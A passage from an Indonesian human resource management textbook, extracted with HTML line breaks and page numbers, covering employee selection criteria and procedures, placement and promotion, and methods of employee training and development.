setiap perusahaan. Peran karyawan<br />sangat menentukan berhasil tidaknya perusahaan mencapai tujuannya. Perusahaan<br />harus selalu berusaha untuk memperoleh dan menempatkan karyawan yang qualified<br />pada setiap jabatan dan pekerjaan supaya pelaksanaannya lebih berdaya guna serta<br />berhasil guna.<br />Seleksi adalah usaha pertama yang harus dilakukan perusahaan agar karyawannya<br />qualified. Pelaksanaan seleksi penerimaan karyawan baru bagi setiap perusahaan.<br />Dengan pelaksanaan seleksi yang baik, karyawan yang diterima akan lebih qualified<br />sehingga pembinaan, pengembangan, dan pengaturan karyawan menjadi lebih mudah.<br />Beberapa kutipan dari seleksi adalah:<br />a. Malayu Hasibuan<br />Seleksi adalah suatu kegiatan pemilihan dan penentuan pelamar yang diterima<br />atau ditolak untuk menjadi karyawan perusahaan. Seleksi ini didasarkan kepada<br />spesifikasi tertentu dari setiap perusahaan bersangkutan.<br />b. Dale Yoder<br />Seleksi adalah suatu proses ketika calon karyawan dibagi 2 bagian, yaitu yang<br />diterima dan yang ditolak.<br />c. R.S. Dwivedi<br />Seluruh konsep dari seleksi dan penempatan karyawan yang efektif dapat<br />diharapkan mengurangi tingkat perputaran atau keluar masuknya karyawan.<br />.<br />B. Dasar dan Tujuan Seleksi<br />a. Dasar seleksi<br />Dasar seleksi berarti penerimaan karyawan baru hendaknya berpedoman kepada dasar<br />tertentu yang digariskan oleh internal maupun eksternal perusahaan supaya hasilnya<br />dapat dipertanggungjawabkan. Dasar-dasar itu antara lain :<br />38<br />- Kebijaksanaan perburuhaan pemerintah<br />Seleksi penerimaan karyawan baru harus berdasarkan dan berpedoman kepada<br />Undang-Undang Perburuhan Pemerintah. Seleksi usia harus didasrkan kepada<br />Undang-Undang tanggal 6 Januari 1951 No.I Pasal 1.<br />Peraturan perburuhan melarang adanya diskriminasi kulit, agama, dan suku<br />bangsa. Sebaliknya, Undang-Undang tidak memperbolehkan mempekerjakan<br />anak-anak dibawah umur dan orang-orang yang terlibat dalam G-30-S/PKI. Halhal<br />diatas harus menjadi dasar kebijakan seleksi penerimaan karyawan baru bagi<br />setiap organisasi dan perusahaan.<br />- Job specification<br />Dalam spesifikasi, telah ditetapkan, persyaratan dan kualifikasi minimun dari<br />orang yang dapat menjabat atau melakukan pekerjaan tersebut. Dasar ini harus<br />betul-betul menjadi pedoman pelaksanaan seleksi, prinsipnya adalah “ the right<br />man on the right place and the right man behind the right gun” Jadi, titik tolak<br />pemikiran seleksi hendaknya kepada apa yang akan dijabat, baru siapa yang akan<br />menjabatnya; bukan siapa baru apa. Jabatan atau pekerjaan apapun yang akan<br />diisi hendaknya diseleksi beradasarkan atas spesifikasi jabatan atau pekerjaan<br />tersebut<br />- Ekonomis rasional<br />Tindakan ekonomis hendaknya menjadi dasar pelaksanaan seleksi supaya biaya,<br />waktu, dan pikiran dimanfaatkan secara efektif sehingga hasil effektif dapat<br />dipertanggungjawabkan.<br />- etika sosial<br />Seleksi harus dilakukan sesuai dengan etika sosial. Artinya, memperhatikan<br />norma-norma hukum, agama, kebudayaan, dan adat istiadat masyarakat serta<br />hukum yang berlaku di negara bersangkutan.<br />b. Tujuan sleksi penerimaan karyawan<br />Tujuannya adalah sebagai berikut :<br />- karyawan yang qualified dan potensial<br />- karyawan yang jujur dan berdisiplin<br />39<br />- karyawan yang cakap dengan penempatan yang tepat<br />- karyawan yang terampil dan bersemangat dalam bekerja<br />- karyawan yang memenuhi syarat Undang-Undang Perburuhan<br />- karyawan yang dapat bekerja sama<br />- karyawan yang dinamis dan kreatif<br />- karyawan yang inovatif dan bertanggung jawab<br />- karyawan yang loyal dan berdedikasi tinggi<br />- karyawan yang mudah dikembangkan dimasa akan datang<br />- karyawan yang bekerja secara mandiri<br />- karyawan yang mempunyai budaya dan perilaku malu<br />- mengurangi tingkat absensi dan turn over karyawan<br />c. Penetapan jumlah karyawan<br />Langkah selanjutnya adalah penetapan jumlah karyawan yang diperhitungkan secara<br />cermat supaya karyawan yang diterima tepat sesuai volume pekerjaan.<br />Metode penetapan jumlah karyawan :<br />1. Metode non-ilmiah<br />Dalam metode ini jumlah karyawan yang dibutuhkan hanya didasarkan atas<br />perkiraan saja. Metode ini akan mengakibatkan jumlah karyawan yang diterima<br />tidak sesuai dengan kebutuhan volume pekerjaan, sehingga menimbulkan<br />kerugian.<br />2. Metode ilmiah<br />Dalam metode ini jumlah karyawan yang akan diterima betul-betul atas<br />perhitungan dan analisis beban kerja serta standart prestasi kerja. Analisis beban<br />kerja adalah penentuan jumlah pekerja yang diperlukan untuk menyelesaikan<br />pekerjaan dalam jangka waktu tertentu.<br />Analisis beban kerja hanya dapat diterapkan terhadap volume pekerjaan atau unit<br />pekerjaan yang mempunyai standart fisik. Untuk pekerjaan yang tidak<br />40<br />mempunyai standart fisik, karyawan yang dibutuhkan berdasarkan metode nonilmiah.<br />Perputaran karyawan adalah perbanding antara masuk dan berhentinya karyawan<br />dari suatu perusahaan. Jadi, jika perputaran karyawan diperhitungkan, maka<br />jumlah karyawan yang dibutuhkan adalah jumlah perhitungan analisis beban kerja<br />ditambah absen dan turn over.<br />d. Cara seleksi<br />Ada dua cara yang dikenal yaitu :<br />1. Non-ilmiah<br />Seleksi yang dilaksanakan tidak berdasarkan kepada kriteria, standart, atau<br />spesifikasi kebutuhan nyata pekerjaan atau jabatan, tetapi hanya didasarkan<br />kepada perkiraan dan pengalaman saja. Seleksi non-ilmiah sering dilaksanakan di<br />negara sedang berkembang, karena umumnya belum melaksanakan manajemen<br />professional.<br />Unsur-unsur yang diseleksi meliputi :<br />- Surat lamaran bermaterai atau tidak<br />- Ijazah sekolah dan daftar nilai<br />- Surat keterangan pekerjaan dan pengalaman<br />- Referensi dari pihak yang dapat dipercaya<br />- Wawancara langsung<br />- Penanpilan dan keadaan fisik pelamar<br />- Keturunan dari pelamar bersangkutan<br />- Tulisan pelamar<br />Seleksi non-ilmiah kurang dapat dipercaya, bahkan menimbulkan kesulitankesulitan<br />bagi perusahaan<br />2. ilmiah<br />Seleksi ini didasarkan kepada job specification dan kebutuhan nyata jabatan yang<br />diisi serta berpedoman kepada kriteria dan standart-standart tertentu.<br />41<br />Seleksi ilmiah hendaknya dilaksanaakan dengan cara-cara berikut :<br />- Metode kerja yang jelas dan sistematis.<br />- Berorientasi kepada prestasi kerja.<br />- Berorientasi kepada kebutuhan riil karyawan.<br />- Berdasarkan kepada job analysis dan ilmu sosial lainnya<br />- Berpedoman kepada Undang-Undang Perburuhan.<br />e. Kualifikasi seleksi<br />Kualifikasi seleksi meliputi :<br />- Umur<br />Umur dapat mempengaruhi kondisi fisik, mental, kemampuan kerja dan tanggung<br />jawab seseorang. Umur pekerja juga diatur dalam Undang-Undang Perburuhan.<br />- Keahlian<br />Keahlian menentukan mampu tidaknya seseorang menyelesaikan pekerjaan yang<br />diberikan kepadanya. Keahlian meliputi : technical skill, human skill, conceptual<br />skill, kecakapan untuk memanfaatkan kesempatan serta kecermatan menggunakan<br />peralatan yang dimiliki perusahaan.<br />- Kesehatan fisik<br />- Pendidikan<br />Pendidikan merupakan indikator yang mencerminkan kemampuan seseorang<br />untuk menyelesaikan suatu pekerjaan.<br />- Jenis kelamin<br />Jenis kelamin harus diperhatikan berdasarkan sifat pekerjaan, waktu pekerjaan,<br />dan peraturan perburuhan.<br />- Tampang<br />Tampang hanyalah merupakan kualifikasi tambahan. Artinya, untuk jabatan<br />tertentu tampang akan turut membantu keberhasilan seseorang dalam tugasnya.<br />- Bakat<br />Orang yang berbakat lebih kreatif mengembangkan dirinya.<br />42<br />- Temperamen<br />Temperamen adalah pembawaan seseorang yang sulit dipengaruhi oleh<br />lingkungan yang melekat pada dirinya.<br />- Karakter<br />Karakter merupakan sifat pembawaan seseorang yang dapat diubah oleh<br />lingkungan atau pendidikan.<br />- Pengalaman kerja<br />Orang yang berpengalaman merupakan calon karyawan yang telah siap pakai<br />- Kerja sama<br />Kerja sama merupakan kunci keberhasilan perusahaan karena sifatnya positif<br />serta berasaskan kemampuan.<br />- Kejujuran<br />Kejujuran merupakan kunci untuk mendelegasikan tugas pada seseorang.<br />- Kedisiplinan<br />- Inisiatif dan kreatif<br />Inisiatif dan kreatif merupakan kaulifikasi yang penting karena dapat membuat<br />seseorang mandiri dalam menyelesaikan tugasnya.<br />f. Sistem dan prosedur seleksi<br />Sistem seleksi menurut Andrew F. Sikula adalah Succesive-Hurdles<br />dan Compensatory-Approach. Succesive-Hurdles adalah sistem seleksi yang<br />dilaksanakan berdasarkan urutan testing. Compensatory-Approach adalah sistem<br />seleksi dengan menghitung rata-rata nilai test pelamar, apakah mencapai standar atau<br />tidak.<br />Prosedur seleksi ditetapkan dengan cermat berdasarkan asas efesiensi untuk<br />memperoleh karyawan yang qualified dengan penempatan yang tepat.<br />g. Langkah-langkah seleksi<br />Langkah-langkah seleksi meliputi<br />1. Seleksi surat-surat lamaran.<br />2. Pengisian blanko lamaran.<br />43<br />3. Pemeriksaan referensi<br />4. Wawancara pendahuluan<br />5. Test penerimaan<br />Test penerimaan meliputi Physical test (medical test), academic test (knwoledge<br />test ), dan phsycological test.<br />6. Test Psikologi<br />Jenis-jenis test psikologi :<br />- test kecerdasan<br />- test kepribadian<br />- test bakat<br />- test minat<br />- test prestasi<br />Pendekatan seleksi<br />a. Successive Hurdles Selection Approach<br />Prosedur ini mengharuskan calon karyawan untuk mengikuti procedur seleksi<br />secara bertahap. Contoh gambar.<br />44<br />b. Compensatory Selection Approach<br />Dalam pendekatan ini seluruh calon karyawan diberi kesempatan yang sama<br />untuk mengikuti seluruh prosedur seleksi. Contoh gambar :<br />7. Test kesehatan<br />8. Wawancara akhir atasan langsung<br />9. Memutuskan diterima atau ditolak<br />h. Tingkat-tingkat seleksi<br />Tingkat-tingkat seleksi yang dilakukan setiap perusahaan atau organisasi, hal ini<br />tergantung kepada kebutuhan dalam penerimaan karyawan yang dilakukan setiap<br />perusahaan. Tingkat-tingkat seleksi yang dilakukan oleh perusahaan ada 3, yaitu :<br />1. Seleksi tingkat pertama, meliputi semua prosedur seleksi sejak dari surat lamaran<br />sampai dengan pelamar dinyatakan diterima.<br />2. Seleksi tingkat kedua dilakukan pada calon karyawan yang status masa<br />percobaan. Seleksi tingkat kedua lamanya ada yang 3 bulan, 6 bulan atau setahun.<br />3. Seleksi tingkat ketiga adalah seleksi yang dilakukan dengan mengikuti prajabatan<br />atau latihan, mereka akan dipromisikan dan diangkat menjadi karyawan tetap<br />serta haknya akan diterima sepenuhnya.<br />45<br />i. Kendala-kendala seleksi<br />Kendala-kendala itu meliputi<br />1. Tolak ukur<br />Kendalanya adalah kesulitan untuk menentukan standar tolak ukur yang akan<br />digunakan mengukur kualifikasi-kualifikasi selektif secara objektif.<br />2. Penyeleksi<br />Kendalanya adalah kesulitan mendapatkan penyeleksi yang benar-benar qualified,<br />jujur dan objektif pernilainya.<br />3. Pelamar<br />Kendalanya adalah kesulitan untuk mendapatkan jawaban yang jujur dari<br />pelamar.<br />Untuk mengurangi kendala-kendala ini, perlu dilakukan kebijaksanaan seleksi secara<br />bertingkat, karena semakin banyak tingkatan seleksi yang dilakukan semakin cermat<br />dan teliti penerimaan karyawan.<br />C. Penempatan<br />Banyak orang menganggap bahwa penempatan merupakan akhir dari seleksi<br />untuk karyawan baru. Tetapi penempatan disini maksudnya bukan untuk karyawan<br />baru saja tetapi juga berlaku untuk karyawan lama yang dirasa memiliki kemapuan<br />untuk menempati posisi atau jabatan tertentu.<br />Dengan kata lain kita dapat melakukan promosi jabatan untuk karyawan yang<br />lama untuk memikul tanggung jawab yang lebih besar, tingkatannya dalam hirarki<br />jabatan lebih tinggi dan penghasilannya akan lebih besar pula. Bagi perusahaan juga<br />memperoleh keuntungan dari hal ini karena semakin banyak karyawan ingin memperoleh<br />jabtan tersebut dan berpacu untuk memdapatkannya. Penghargaan kepada seseorang jauh<br />lebih berharga, karena setiap orang ingin dihargai.<br />Dalam organisasi umumnya menggunakan dua kriteria utama dalam<br />mempertimbangkan seseorang untuk dipromosikan yaitu prestasi kerja dan senioritas.<br />Promosi yang didasarkan pada prestasi kerja menggunakan hasil penilaian atas hasil<br />karya yang sangat baik dalam promosi atau jabatan sekarang.Dan juga perlu adanya<br />46<br />analisis yang matang terhadap kemampuan seseorang dan mengenai potensi yang<br />bersangkutan.<br />Sedangkan promosi yang didasarkan kepadasenioritas adalah dihitung dari<br />lamanya bekerja. Dan perusahaan menempuh cara ini dengan tiga pertimbangan<br />(Handoko, 2000 : 171 ) yaitu :<br />1. sebagai penghargaan atas jasa – jasa seseorang paling sedikit dilihat dari segi loyalitas<br />kepada organisasi.<br />2. Penilaaian biasa bersifat objektif dengan membandingkan masa kerja.<br />3. Mendorong organisasi untuk mengembangkan karyawan untuk dipromosikan.<br />Tetapi cara ini terdapat kelemahan karena karyawan yang paling senior belum<br />tentu karyawan yang produktif.<br />47<br />BAB VI<br />FUNGSI PENGEMBANGAN<br />PELATIHAN KARYAWAN OPERASIONAL<br />Kita yakini bahwa belum ada suatu perusahaan pun yang dapat mengoperasikan<br />faktor produksi tanpa memanfaatkan tenaga kerja. Bahkan ada semacam kecenderungan,<br />makin besar perusahaan dari segi kualitas dan kuantitas, makin besar jumlah kebutuhan<br />akan tenaga kerja. Meskipun telah ditemukan teknologi baru berupa mesin-mesin<br />otomatif dan komputerisasi, tetapi bagi sebagian besar perusahaan belum dapat<br />melaksanakan kegiatannya tanpa adanya tenaga kerja. Justru dengan semakin<br />moderennya peralatan produksi (mesin-mesin) kebutuhan tenaga kerja yang professional<br />juga makin meningkat.<br />Pengembangan suatu system pendidikan dan pelatihan terpadu dalam kaitannya<br />dengan upaya pengembangan sumber daya manusia umumnya dan pembangunan<br />ketenagakerjaan, khususnya kiranya memang merupakan keharusan dan kebutuhan yang<br />semakin terasa dewasa ini. Kendatipun gagasan ini sesungguhnya bukan merupakan hal<br />baru, namun rintisan pelaksanaannya berdasarkan konsep yang jelas ternyata belum<br />direalisasikan sebagaimana diharapkan.<br />Tanggung jawab pengadaan tenaga berkualitas tersebut, merupakan tanggung<br />jawab banyak pihak, seperti : pemerintah, badan usaha pemakai tenaga kerja, lembaga<br />pendidikan dan pelatihan, lembaga pendidikan formal termsuk perguruan tinggi,<br />koperasi, usaha Negara, usaha swasta, organisasi karyawan, dan lembaga<br />kemasyarakatan. Tanggung jawab itu perlu secara terkoordinasi dan terpadu; dan oleh<br />karenanya timbul pemikiran konseptual untuk mengembangkan suatu system pendidikan<br />dan pelatihan terpadu, yang mampu melaksanakan program orientasi terpadu guna<br />menghasilkan tenaga kerja professional dan terampil. System orientasi tersebut sangat<br />dibutuhkan sebagai wahana pembinaan ketenagakerjaan yang mampu beroperasi secara<br />efektif dan menghasilkan tenbaga kerja yang siap pakai.<br />48<br />Tujuan orientasi adalah untuk membantu karyawan baru, membuat penyesuaian<br />yang mulus di tempat kerja mereka. Untuk melakukan hal itu, dibutuhkan program<br />orientasi yang terencana dan di laksanakan dengan baik yang akan :<br />• Mengurangi tingkat kegelisahan karyawan<br />• Mendorong sikap positif terhadap organisasi<br />• Menjawab pertanyaan-pertanyaan yang tidak tertangani pada saat perekrutan<br />• Memperkuat dan menetapkan ekspektasi kerja yang realistis<br />Tujuan pelatihan di tempat kerja, baik karyawan baru ataupun karyawan lama,<br />adalah untuk memastikan adanya kesesuaian antara persyaratan yang dituntut oleh suatu<br />pekerjaan dengan ketrampilan serta kompetensi karyawan.<br />Orientasi memungkinkan karyawan baru mungkin akrab dengan lingkungan kerja<br />dan mendapatkan rasa memiliki yang merupakan bibit dari komitmen terhadap<br />organisasi. Sasaran utama orientasi di tempat kerja adalah untuk :<br /> Membuat karyawan baru merasa diterima dan nyaman<br /> Menciptakan persepsi positif terhadap organisasi<br /> Mengkomunikasikan prosedur dasar organisasi kepada karyawan baru<br /> Membentuk dasar untuk pelatihan berkelanjutan<br /> Mengkonfirmasikan keputusan karyawan untuk bergabung dengan organisasi<br /> Memulai proses pengintegrasian karyawan baru ke dalam angkatan kerja<br />organisasi<br />A. Pengertian Pelatihan dan Pengembangan<br />Penggunaan istilah pelatihan (training) dan pengembangan (development)<br />dikemukakan oleh beberapa para ahli. Pendapat-pendapatnya dapat diketahui sebagai<br />berikut :<br />Dale Yoder menggunakan istilah pelatihan untuk pegawai pelaksana dan<br />pengawas, sedangkan istilah pengembangan ditujukan untuk pegawai tingkat manajemen.<br />Istilah yang dikemukakan oleh Dale Yoder adalah rank and file raining, supervisor<br />training, dan management development.<br />49<br />Edwin B. Flippo menggunakan istilah pelatihan untuk pegawai pelaksana dan<br />pengembangan ntuk tingkat pimpinan. Istilah-istilah yang dikemukakan olehnya adalah<br />training operative personnel dan excecutive development.<br />B. Pelatihan Karyawan<br />Pelatihan merupakan proses membantu para tenaga kerja untuk memperoleh<br />efektivitas dalam pekerjaan mereka yang sekarang atau yang akan dating melalui<br />pengembangan kebiasaan tentang pikiran, tindakan, kecakapan, pengetahuan, dan sikap<br />yang layak.<br />Berdasarkan rumusan tersebut, pelatihan merupakan kunci manajemen lini dan<br />staf. Manajemen lini memiliki tanggung jawab yang sebesar terhadap penyelanggaraan<br />pelatihan, sedangkan staf membri teknis opersaional untuk membantu lini dlam<br />melaksankan fungsinya. Pelatihan berhubungan dengan efektivitas pekerjaan individu<br />tenaga kerja dan hubungan antar tenaga kerja yang dikembangkan merupakan program<br />untuk memudahkan pencapaian tujuan perusahaan. Tujuan pelaksanaan pelatihan adalah<br />agar para manajer mendapat pengetahuan tentang sikap dan kelakuan tenaga kerja yang<br />diperlukan agar kondisi perusahaan efektif. Selain tujuan yang ingin dicapai agar<br />pelaksanaan pelatihan dalam ilmu pengetahuan, perilaku ini berhubungan erat dengan<br />fungsi pelatihan yang berperan luas dalam pengambangan manajer.<br />Manajer yang moderen berhubungan dengan lingkungan sosialnya yang meluas di<br />luar pekerjaan. Mereka tidak hanya merasa puas dengan perumusan hubungan<br />antarmanusia. Kecakapannya harus meliputi kemampuan untuk menyatakan secara<br />umum keterangan riset yang pokok serta melihat, merasa, dan memahami antar hubungan<br />dari keanekaragaman perwujudan perilaku individu dalam pekerjaan.<br />Berbagai metode dapat digunakan dalam program pelatihan. Metode pelatihan<br />yang paling terkenal dan banyak digunakan, antara lain :<br />1) Metode On The Job Training<br />Hampir 90% dari pengetahuan pekerjaan diperoleh melalui metode on the job<br />training. Prosedur metode ini informal, observasi sederhana dan mudah serta praktis.<br />Pegawai mempelajari pekerjaannya dengan mengamati pekerja lain yang sedang<br />bekerja, dan kemudian mengobservasi perilakunya. Aspek-aspek lain dari on the job<br />50<br />training adalah lebih formal dalam format. Pegawai senior memberikan contoh cara<br />mengerjakan pekerjaan dan pegawai baru memperhatikannya.<br />Metode ini dapat pula menggunakan peta-peta, gambar-gambar, samplesampel<br />masalah dan mendemonstrasikan pekerjaan agar pegawai baru dapat<br />memahaminya dengan jelas. Metode ini sangat tepat untuk mengajarkan skill yang<br />dapat dipelajari dalam beberapa hari atau beberapa minggu. Manfaat dari metode ini<br />adalah peserta belajardengan perlengkapan yang nyata dan dalam limgkungan<br />pekerjaan atau job yang jelas.<br />2) Metode Vestibule atau balai<br />Vestibule adalah suatu ruangan isolasi atau terpisah yang disunakan untuk<br />tempat pelatihan bagi pegawai baru yang akan menduduki suatu pekerjaan. Metode<br />ini merupakan metode pelatihan yang sangat cocok untuk banyak peserta (pegawai<br />baru) yang dilatih dengan jenis pekerjaan yang sama dan dalam waktu yang sama.<br />Pelaksanaan metode ini biasanya dilakukan dalam waktu beberapa hari sampai<br />beberapa bulan dengan pengawasan instruktur, misalnya pe;atihan pekerjaan,<br />pengetikan klerek, operator mesin.<br />3) Metode Demonstrasi dan Contoh<br />Suatu demonstrasi menunjukkan dan merencanakan bagaimana suatu<br />pekerjaan atau bagaimana sesuatu itu dikerjakan. Metode ini melibatkan penguraian<br />dan memeragakan sesuatu melalui contoh-contoh. Metode ini sangat mudah bagi<br />manajer dalam mengajarkan pegawai baru mengenai aktivitas nyata melaui suatu<br />tahap perencanaan dari “Bagaimana dan apa sebab” pegawai mengerjakan pekerjaan<br />yang ia kerjakan. Metode ini sangat efektif, kaena lebih mudah menunjukkan kepada<br />peserta cara mengerjakan suatu tugas, karena dikombinasikan dengan alat Bantu<br />belajar seperti : gambar-gambar, teks materi, ceramah, diskusi.<br />4) Metode Simulasi<br />Metode ini merupakan suatu situasi atau peristiwa menciptakan bentuk<br />realitas atau imitasi dari realitas. Simulasi ini merupakan pelengkap sebagai tehnik<br />duplikat yang mendekati kondisi nyata pada pekerjaan. Metode simulasi yang popular<br />adalah permainan bisnis (bussiness games).<br />51<br />Metode ini merupakan metode pelatihan yang sangat mahal, tetapi sangat<br />bermanfaat dan diperlukan dalam pelatihan.<br />5) Metode Apprenticeship<br />Metode ini adalah suatu cara mengembangkan ketrampilan (skill) pengrajin<br />atau pertukangan. Metode ini tidak mempunyai standar format. Pegawai peserta<br />mendapatkan bimbingan umum dan dapat langsung mengerjakan pekerjaannya.<br />6) Metode Ruang Kelas<br />Metode ini merupakan metode training yang dilakukan di dalam kelas<br />walaupun dapat dilakukan di area pekerjaan. Metode ruang kelas adalah kuliah,<br />konferensi, studi kasus, bermain peran dan pengajaran berprogram (programmed<br />instruction).<br />Pelatihan karyawan dewasa ini menjadi sangat penting dikarenakan beberapa<br />alasan. Pelatihan dapat mengurangi jumlah waktu belajar yang diperlukan karyawan<br />utnuk mencapai suatu tingkat atau standar yang telah ditetapkan pada suatu pekerjaan<br />tertentu. Pe;atihan bermanfaat bagi karyawan secara individual karena memungkinkan<br />mereka memperoleh tambahan pengetahuan dan ketrampilan dan bahkan mungkin dapat<br />membentuk sikap positif karyawan yang bermanfaat bagi organisasi. Bagi organisasi<br />secara keseluruhan, pelatihan memberi peluang yang lebih baik bagi suatu perusahaan<br />untuk memenuhi kebutuhan akan tenaga kerja, baik dari segi jumlah maupun mutunya.<br />Pelatihan karyawan, seperti halnya penempatan karyawan, harus dipandang<br />sebagai suatu proses, bukan sebagai kejadian sesaat (short affair). Pada umumnya dalam<br />seluruh masa kerjanya, karyawan akan dilatih dan dilatih kembali berkali-kali dari waktu<br />ke waktu.<br />C. Pengembangan Karyawan<br />Proses pengembangan terdiri atas tindakan memutuskan kompetensi, ketrampilan<br />atau pengetahuan yang perlu dikembangkan, dan bagaimana mencapainya. Sebagaimana<br />dengan kebanyakan keputusan maajerial, seorang manajer harus mengambil keputusan<br />ini berdasarkan sumber daya dan kesempatan yang tersedia. Tidak ada gunanya<br />merencanakan program pengembangan besar-besaran jika sumber dayanya habis<br />52<br />ditengah jalan. Tidak ada gunanya mengirim seorang anggota tim untuk mengikuti kursus<br />pelatihan berbiaya mahal jika ia tidak diberi kesempatan untuk mempraktekkan<br />ketrampilan yang ia peroleh tersebut setelah kembali bekerja.<br />Jadi, titik awalnya adalah mengenali status kompetensi pemegang tugas.<br />Kompetensi mana yang diperlukan untuk tugas itu? Ketrampilan mana yang dimilki<br />pemegang tugas, tetapi belum dimanfaatkan? Setelah mengidentifikasi kebutuhankebutuhan<br />pengembangan tersebut, seorang manajer dapat menyusun suatu rencana<br />pengembangan. Pastikan bahwa rencana tersebut mencakup tindakan-tindakan SMART :<br />spesifik (specific), dapat di ukur (measurable), dapat dicapai (achievable), realistis<br />(realistic), dan terutama tepat waktu (timely). Barangkali sulit merencanakan<br />pengembangan atau pelatihan untuk waktu yang paling sesuai, tetapi kegiatan-kegiatan<br />yang terlalu cepat atau terlalu lambat akan kehilangan banyak nilai.<br />Berbagai metode dapat digunakan dalam program pengembangan. Metode<br />pengembangan yang paling terkenal dan banyak digunakan, antara lain :<br />a) Metode Understudy<br />Teknik pengembangan understudy serupa dengan metode on the job. Belajar<br />dengan berbuat ditekankan melalui kebiasaan. Pada tehnik understudy tidak<br />melakukan tugas secara penuh, tetapi diberikan tanggung jawab yang diberikan<br />kepadanya. Dalam understudy, peserta diberikan latar belakang masalah dan<br />pengalaman-pengalaman tentang suatu kejadian, kemudian mereka harus menelitinya<br />dan membuat rekomendasi secara tertulis tentang masalah-masalah yang<br />berhubungan dengan tugas-tugas unit kerja.<br />Motivasi dan minat kerja pada umumnya tinggi apabila digunakan tehnik<br />understudy. Konsep understudy memungkinkan perencanaan pegawai secara<br />sistematis dan terkoordinasi serta dapat digunakan dengan jarak waktu yang lama.<br />b) Metode Job Rotasi dan kemajuan berencana<br />Job rotasi yang melibatkan perpindahan peserta dari suatu pekerjaan pada<br />pekerjaan lainnya. Kadang-kadang dari suatu penempatan pada penempatan lainnya<br />yang direncanakan atas dasar tujuan belajar. Keuntungan job rotasi adalah antara lain<br />: pegawai peserta mendapatkan gambaran yang luas mengenai berbagai macam jenis<br />pekerjaan, mengembangkan kerjasama antara pegawai, menentukan jenis pekerjaan<br />53<br />yang sanagt diminati oleh pegawai, mempermudah penyesuaiaan diri dengan<br />lingkungan tempat bekerja, sebagai bahan pertimbangan dalam menentukan<br />penempatan kerja yang sesuai dengan potensi pegawai.<br />c) Metode Coaching-Counseling<br />Coaching adalah suatu prosedur mengajarkan pengetahuan dan ketrampilanketrampilan<br />kepada pegawai bawahan. Peranan job coach adalah memberikan<br />bimbingan kepada pegawai bawahan dalam menerima suatu pekerjaan atau tugas dari<br />atasannya.<br />Counseling merupakan pemberian bantuan kepada pegawai agar dapat<br />menerima diri, memahami diri dan merealisasikan diri, sehingga potensinya dapat<br />berkembang secara optimal dan tujuan perusahaan dapat tercapai. Dengan<br />penyuluhan pegawai, diharapkan aspirasinya dapat berkembang dengan baik dan<br />pegawai yang bersangkutan mampu mencapai kepuasan kerja.<br />Lain halnya dengan fungsi pelatihan, arti pentingnya pengembangan manajer baru<br />disadari dan diterima secara luas dewasa ini. Alasan mengapa pengembangan sangat<br />penting adalah sama dengan alas an mengapa pelatihan penting. Jika kita berpendapat<br />bahwa training dan re-training adalah suatu proses terus menerus yang tiada akhirnya,<br />maka kita juga harus menerima pendapat pengembangan manajer yang terus menerus;<br />dimana setiap manajer berkembang melalui serangkaian posisi atau jabatan operasional.<br />Pengembangan bukanlah sekedar pelatihan. Banyak kesempatan untuk<br />menjalankan pengembangan muncul dari pekerjaan itu sendiri. Lihatlah apa yang dapat<br />ditawarkan pekerjaan tersebut sebelum berinvestasi dalam alternative-alternatif lain yang<br />mahal dan menyita waktu. Kesempatan-kesempatan ditempat kerja ini dapat terlewatkan<br />atau diabaikan begitu saja hanya karena mengutamakan penyelesaian pekerjaan tersebut.<br />Mendatangi tempat kerja adalah cara yang sangat baik untuk mempelajari persoalanpersoalan<br />yang ada.<br />Jawaban yang paling sederhana dari pertanyaan mengapa pelatihan dan<br />pengembangan tenaga kerja harus dikembangkan adalah jika perusahaan tidak<br />mengembangkannya, maka perusahaan akan kehilangan karyawannya. Organisasi yang<br />tidak memberi harapan bagi orang-orang yang mempunyai keterampilan kemungkinan<br />54<br />hanya akan memiliki staf yang tidak terampilan dan tidak dapat diandalkan. Dalam katakata<br />yang lebih positif, manusia yang berkembang adalah sumber yang lebih berharga.<br />Manajer akan memperoleh lebih banyak dari mereka sebagai ganti uang yang perusahaan<br />keluarkan. Pengembangan staf yang ada pun jauh lebih murah daripada merekrut dan<br />mendidik karyawan-karyawan baru. Berinvestasi dalam orang dan pengembangannya<br />akan mengurangi biaya operasi organisasi dan menghasilkan kepuasan pelanggan yang<br />lebih besar.<br />Keputusan yang benar-benar sulit adalah menentukan berapa biaya investasi<br />untuk mengembangkan orang-orang. Makin besar investasi, makin leluasa perusahaan<br />dalam mempekerjakan seseorang, dan mereka makin tertarik memasuki persaingan.<br />Setiap organisasi harus menentukan pilihan antara berinvestasi dalam manusia dan risiko<br />kehilangan investasi tersebut.<br />Dari sudut pandang langsung perusahaan, pengembangan seseorang di tempat<br />kerja dapat membantunya untuk secara lebih kopeten melakukan pekerjaannya. Ini akan<br />makin meningkatkan produktivitasnya sendiri dan produktivitas oragnisasi tersebut.<br />Tanggung jawab untuk mewujudkan pengembangan manusia ini dapat dipandang<br />sebagai suatu yang sangat mirip dengan peran orangtua. Beberapa manajer sangat<br />bersikap mengajari dan keras. Manajer lain bersikap lebih membantu dan mendorong<br />orang untuk mencari jalannya sendiri dan menilai perkembangannya sendiri. Jika anda<br />sudah pernah merasakan orangtua yang baik, besar kemungkinan anda akan<br />berkembangan menjadi individu yang matang, percaya diri, sanggup menguasai diri, dan<br />sanggup mengambangkan diri sendiri. Sama halnya, jika anda membimbing tim anda<br />dengan cara memberdayakannya dan penuh perhatian, kemungkinan besar mereka akan<br />menjadi anggota-anggota tim yang berhasil dan percaya diri. Lepas dari kepuasan karena<br />ikut serta dalam pengembangan orang lain, sikap yang positif terhadap perkembangan<br />orang lain ini membantu anda untuk berkinerja lebih baik dan memberi kontribusi yang<br />lebih bernilai.<br />Pengembangan sering diartikan pelatihan dan terlalu sering pelatihan itu berarti<br />kursus. Namun, sebenarnya pengembangan adalah suatu proses yang jauh lebih luas dan<br />lebih kaya daripada hanya mengikuti kursus pelatihan. Belajar seumur hidup yang<br />55<br />sesungguhnya dapat terjadi dalam bentuk berbagai cara, lingkungan social, hubungan dan<br />pembicaraan.<br />C. Proses Pelaksanaan pelatihan<br />Keputusan penyelenggaraan Pelatihan dan Pengembangan haruslah bertumpu<br />pada data terbaik yang tersedia, yang dihimpun dalam suatu penilaian kebutuhan (needs<br />assessment). Dalam penilaian kebutuhan dilakukan diagnosis terhadap masalah-masalah<br />saat ini dan tantangan-tantangan di masa mendatang yang akan dihadapi. Cascio (1995)<br />menyatakan Penilaian kebutuhan dilaksanakan dalam 3 (tiga) tipe analisis yaitu analisis<br />organisasional, analisis operasional, dan analisis individu.<br />56<br />BAB VII<br />FUNGSI PENGEMBANGAN<br />PENILAIAN KINERJA<br 